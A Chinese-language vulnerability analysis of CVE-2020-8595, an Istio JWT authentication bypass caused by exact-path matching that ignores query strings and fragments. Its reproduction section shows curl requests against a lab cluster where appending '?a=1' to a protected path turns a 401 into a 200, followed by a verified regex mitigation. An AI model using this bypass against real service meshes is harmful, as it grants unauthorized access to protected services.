CVE-2020-8595：Istio认证绕过

简介

过去两年间，以Istio为代表的Service Mesh因其出色的架构设计及火热的开源社区在业界迅速聚集了一批拥簇者。国内大型互联网公司也先后发布了自己的Service Mesh落地方案并在生产环境中部署运行。一方面，Service Mesh降低了应用变更过程中因为耦合产生的冲突（传统单体架构应用程序代码与应用管理代码紧耦合）；另一方面，它也使得每个服务都能由专门团队独立进行运维。

然而，在给技术人员带来好处的同时，Istio的安全问题也令人堪忧。正如人们所看到的，在微服务模式下，原先的单体架构被拆分为众多的服务，每个服务都需要访问控制和认证授权，这无疑增加了安全防护的难度。

2019年，Istio相继被曝出三个未授权访问漏洞（CVE-2019-12243、CVE-2019-12995、CVE-2019-14993）[12]。其中，CVE-2019-12995和CVE-2019-14993均与Istio的JWT机制相关。2020年2月4日，Istio的JWT认证机制再次被曝出存在服务间未授权访问漏洞，该漏洞由Aspen Mesh公司员工发现，获得CVE编号CVE-2020-8595。

下面，我们首先给出理解该漏洞所必要的背景知识，然后对漏洞进行分析，接着进行漏洞复现实战，最后给出漏洞的修复情况，并作总结与思考。

背景知识

JWT（JSON Web Token）是用于网络应用环境间传递声明的一种基于JSON的开放标准，是目前最流行的跨域认证解决方案。业界通常采用认证模式是，服务端存储session，客户端携带服务端返回的session_id（即cookie）与服务端进行身份验证。这种模式的扩展性不强：单机没有问题，但在分布式集群环境中session难以实现共享。例如，A 网站和 B 网站是同一家公司的关联服务，现在要求，用户只要在其中一个网站登录，再访问另一个网站就能自动登录。一种实现方法是将session数据持久化，服务收到请求时都向持久层请求数据。这种方式会增加不必要的工作量，另外，一旦数据库出错就会发生单点失败问题；另一种方案是直接将认证数据保存在客户端，每次都随用户请求都发回服务端——JWT正是这种方案的实现之一。

JWT的原理比较好理解：服务器认证之后返回给客户端一个JSON对象，此后每次客户端与服务端通信时都需要携带此JSON对象作为凭证。考虑到安全问题（例如，用户可能会对JSON数据进行篡改），服务端生成JSON对象时会加上签名。这样一来，服务端不再保存session，变为无状态，更加易于扩展[2]。

Istio架构中的JWT认证主要依赖于JWKS（JSON Web Key Set）。JWKS是一组密钥集合，其中包含用于验证JWT的公钥。在Istio中，JWT认证策略通常通过配置一个YAML文件实现。例如，下面就是一个简单的JWT认证策略配置[3]：

```
issuer: https://example.com
jwksUri: https://example.com/.well-known/jwks.json
triggerRules:
- excludedPaths:
  - exact: /status/version
  includedPaths:
  - prefix: /status/
```

其中[4]，`issuer`表示发布JWT的发行者；`jwksUri`表示获取JWKS的地址，用于验证JWT的签名，`jwksUri`既可以是远程服务器地址，也可以是本地地址，其内容通常为域名或URL， 本地则位于某个服务的某路径下；`triggerRules`定义了Istio使用JWT验证请求的触发规则列表，如果满足匹配规则就会进行JWT验证，这个参数使得服务间认证弹性化，用户可以按需配置、下发规则。上面示例中`triggerRules`部分的意思是，对于任何带有`/status/`前缀的请求路径，除了`/status/version`以外， 都需要进行JWT认证。CVE-2020-8595恰恰和triggerRules有关。

关于`triggerRules`配置的详细内容，可以参考https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1。

漏洞分析

关于CVE-2020-8595，Istio的官方声明如下[6]：

> A bug in Istio's Authentication Policy exact path matching logic allows unauthorized access to resources without a valid JWT token. This bug affects all versions of Istio that support JWT Authentication Policy with path based triggerRules. The logic for the exact path match in the Istio JWT filter includes query strings or fragments instead of stripping them off before matching. This means attackers can bypass the JWT validation by appending ? or # characters after the protected paths.

可以看到，问题出现在Istio JWT策略配置中的triggerRules机制中。triggerRules包含了请求URL的字符串匹配机制，主要有以下四种：

字段	类型	描述	必须
exact	字符串（之一）	完全匹配	是
prefix	字符串（之一）	前缀匹配	是
suffix	字符串（之一）	后缀匹配	是
regex	字符串（之一）	正则匹配*	是

**正则匹配：（由EDCA-262定义ECMAscript风格的正则匹配）*

「exact」字段是导致漏洞的罪魁祸首。它表示完全匹配的字符串才可以满足要求， 但完全匹配原则是需要包含url后面所附带的参数（"?"）以及fragments定位符（"#"），而不是在匹配之前将"?"和"#"隔开的内容进行分离。

例如，下面是一个完整的URL：

```
foo://example.com:8042/over/there?name=ferret#nose
|_|   |_____________||_________||__________||___|
 |            |            |           |       |
scheme     authority       path       query   fragment
```

针对上述URL，triggerRules中exact字段匹配的内容应当为`/over/there?name=ferret#nose`，而非`/over/there`。Istio的JWT认证策略在设置triggerRules时只考虑到了path部分，而省略了query和fragment部分。因此，攻击者可以通过在受保护的path后添加"?"或"#"绕过认证从而实现未授权（JWT）访问。

为便于理解，我们给出一个Istio的JWT认证策略，如下所示：

指定JWT保护路径的原始认证策略如下：

```
apiVersion: "authentication.istio.io/v1alpha1"
kind: "Policy"
metadata:
  name: "jwt-example"
  namespace: istio-system
spec:
  targets:
  - name: istio-ingressgateway # 需要在istio网关入口处部署JWT认证策略
  origins:
  - jwt:
      issuer: "testing@secure.istio.io" # JWT颁发者
      jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json" # 用于验证JWT的JWKS所在URL
      trigger_rules: # JWT验证请求的触发规则列表
      - included_paths: # 只有访问包含以下路径规则才需要JWT认证
        - exact: /productpage # 满足路径与productpage完全匹配后，才可以访问productpage服务（需要JWT认证，没有有效JWT无法访问）
```

问题出在最后一行：如果请求的URL为`/productpage?a=1`或者`/productpage?b=1#go`，那么按照匹配原则，访问路径应该定位到：`https://example.com//productpage?a=1`及`https://example.com/productpage?b=1#go`。

由于这两个URL都属于`/productpage`路径下，客户端本应通过JWT身份认证后才可以访问。但是，Istio将query部分和fragment部分与path做了分类处理，认为`/productpage?a=1`不属于`/productpage`这个path，并且认为前者没有添加JWT策略，所以不需要进行认证。攻击者可以通过在path后添加“#”或“?”轻松绕过JWT认证进行未授权访问。

漏洞复现

实验环境如下：

- Istio版本：v1.4.2
- Kubernetes版本：v1.16.2
- 集群主机：node1（Master）/node2 (Slave)
- 操作系统：Ubuntu 18.04

在开始实验前，需要进行如下准备工作：

- 创建命名空间

```
kubectl create ns foo
```

- 创建httpbin服务（`httpbin.yaml`在`istio/istio-1.4.2/samples/httpbin`路径下[5]）

```
kubectl apply -f <(istioctl kube-inject -f httpbin.yaml) -n foo
```

- 创建httpbin gateway

```
kubectl apply -f - <<EOF
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: httpbin-gateway
  namespace: foo
spec:
  selector:
    istio: ingressgateway # use Istio default gateway implementation
  servers:
  - port:
      number: 80
      name: http
      protocol: HTTP
    hosts:
    - "*"
EOF
```

- 暴露httpbin服务（通过ingress gateway将httpbin服务暴露在外部可访问）

```
kubectl apply -f - <<EOF
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: httpbin
  namespace: foo
spec:
  hosts:
  - "*"
  gateways:
  - httpbin-gateway
  http:
  - route:
    - destination:
        port:
          number: 8000
        host: httpbin.foo.svc.cluster.local
EOF
```

- 对httpbin服务部署JWT策略

```
cat <<EOF | kubectl apply -n foo -f -
apiVersion: "authentication.istio.io/v1alpha1"
kind: "Policy"
metadata:
  name: "jwt-example"
spec:
  targets:
```

```
  - name: httpbin
  origins:
  - jwt:
      issuer: "testing@secure.istio.io"
      jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"
      trigger_rules:
      - included_paths:
        - exact: /ip
  principalBinding: USE_ORIGIN
EOF
```

- 设定环境变量

```
export INGRESS_HOST=http://192.168.19.11:31380
```

至此，准备工作完成，可以开始漏洞复现。

首先，我们访问一个未加JWT认证的URL path `/user-agent`：

```
root@node2:~# curl -v $INGRESS_HOST/user-agent
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /user-agent HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< server: istio-envoy
< date: Thu,  05 Mar 2020 06:47:22 GMT
< content-type: application/json
< content-length: 34
< access-control-allow-origin: *
< access-control-allow-credentials: true
< x-envoy-upstream-service-time: 7
<
{
"user-agent": "curl/7.58.0"
}
```

可以看到返回200状态码，访问成功！接着再访问加了JWT认证的URL path `/ip`：

```
Origin authentication failed.root@node2:~# curl -v $INGRESS_HOST/ip
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
```

```
> GET /ip HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< content-length: 29
< content-type: text/plain
< date: Thu,  05 Mar 2020 06:49:37 GMT
< server: istio-envoy
< x-envoy-upstream-service-time: 0
```

可以看到服务端返回401 Unauthorized拒绝访问，原因是需要认证授权，这证明策略生效了。我们再访问JWT认证下的path + query(通过添加“?”符号)：

```
root@node2:~# curl -v $INGRESS_HOST/ip?a=1
* Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /ip?a=1 HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< server: istio-envoy
< date: Thu,  05 Mar 2020 06:53:00 GMT
< content-type: application/json
< content-length: 29
< access-control-allow-origin: *
< access-control-allow-credentials: true
< x-envoy-upstream-service-time: 5
<
{
"origin": "10.244.0.0"
}
```

可以看到返回的状态码为200，说明不需要JWT的认证也可以访问`/ip`这个path下的内容。类似的，在URL后添加“#”符号也能够完成绕过。

另外，Google Istio团队提供了一个用于检测PoC[9]，感兴趣的读者可以自行尝试：https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe8366404bf547b77/raw/1475213902932cc157f49fc0584b8f231e887394/check.sh[11]。

漏洞修复

搞清楚问题所在后，相信读者已经大体知道修复了。该漏洞在新版本Istio中已经被修复。

除了升级新版本外，还可以通过添加正则表达式规则来做临时缓解，例如：

```
- jwt:
    issuer: "testing@secure.istio.io"
    jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"
    trigger_rules:
    - included_paths:
      - regex: '/productpage(\?.*)?' #
      - regex: '/productpage(#.*)?'  #
```

此正则表达式要求path+query+fragment必须完全匹配。下面，我们来看一下是否可行：

给exact路径添加正则匹配前先将之前的策略删除：

```
root@node1:/home/puming/istio/istio-1.4.2/samples/httpbin# kubectl delete policy.authentication.istio.io jwt-example -n foo
policy.authentication.istio.io "jwt-example" deleted
root@node1:/home/puming/istio/istio-1.4.2/samples/httpbin# cat <<EOF | kubectl apply -n foo -f -
> apiVersion: "authentication.istio.io/v1alpha1"
> kind: "Policy"
> metadata:
>   name: "jwt-example"
> spec:
>   targets:
>   - name: httpbin
>   origins:
>   - jwt:
>       issuer: "testing@secure.istio.io"
>       jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"
>       trigger_rules:
>       - included_paths:
>         - regex: '/ip(\?.*)?'
>         - regex: '/ip(#.*)?'
>   principalBinding: USE_ORIGIN
> EOF
policy.authentication.istio.io/jwt-example created
```

再访问`/ip`的完整URL，如下所示，可以看到服务端返回401 Unauthorized拒绝访问：

```
root@node2:~# curl -v $INGRESS_HOST/ip?a=1
*   Trying 192.168.19.11...
* TCP_NODELAY set
* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)
> GET /ip?a=1 HTTP/1.1
> Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
```

```
>
< HTTP/1.1 401 Unauthorized
< content-length: 29
< content-type: text/plain
< date: Thu,  05 Mar 2020 07:02:58 GMT
< server: istio-envoy
< x-envoy-upstream-service-time: 0
```

这说明正则表达式匹配生效。`/ip(#.*)?`同理，不作赘述。

总结与思考

未授权访问会带来很多严重性后果，如越权、信息泄露等。在Kubernetes环境下，容器为Pod运行的载体。由于Pod内容器之间可以通过`localhost`互相访问，因此一旦有一个容器失陷，攻击者很可能从失陷容器移动到Pod内其它容器。另外，如果容器本身是特权容器的话，风险将更为严重。一言蔽之，这个漏洞给微服务环境带来了很大安全隐患。

CVE-2020-8595反映出了Istio安全管理机制的脆弱性，那么JWT自身又存在哪些安全风险呢？我们注意到，JWT本身是不加密（加密部分只有JWT的Signature）且无状态的，它很容易泄漏、被利用。虽然Istio的mTLS机制可以解决服务间通讯的流量加密问题，但这样JWT就足够安全了吗？答案是不一定，开发人员应该避免将JWT硬编码在源码中，这需要从培养自身安全意识做起，由内而外进行防护。

参考文献

1. https://blog.christianposta.com/how-a-service-mesh-can-help-with-microservices-security/
2. http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
3. https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/#Jwt
4. https://tools.ietf.org/html/rfc7517
5. https://istio.io/docs/tasks/security/authentication/authn-policy/#enable-mutual-tls-per-namespace-or-service
6. https://istio.io/news/security/istio-security-2020-001/
7. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8595
8. https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-8595
9. https://aspenmesh.io/aspen-mesh-1-4-4-1-3-8-security-update/
10. https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/
11. https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe8366404bf547b77/raw/1475213902932cc157f49fc0584b8f231e887394/check.sh
12. https://istio.io/news/security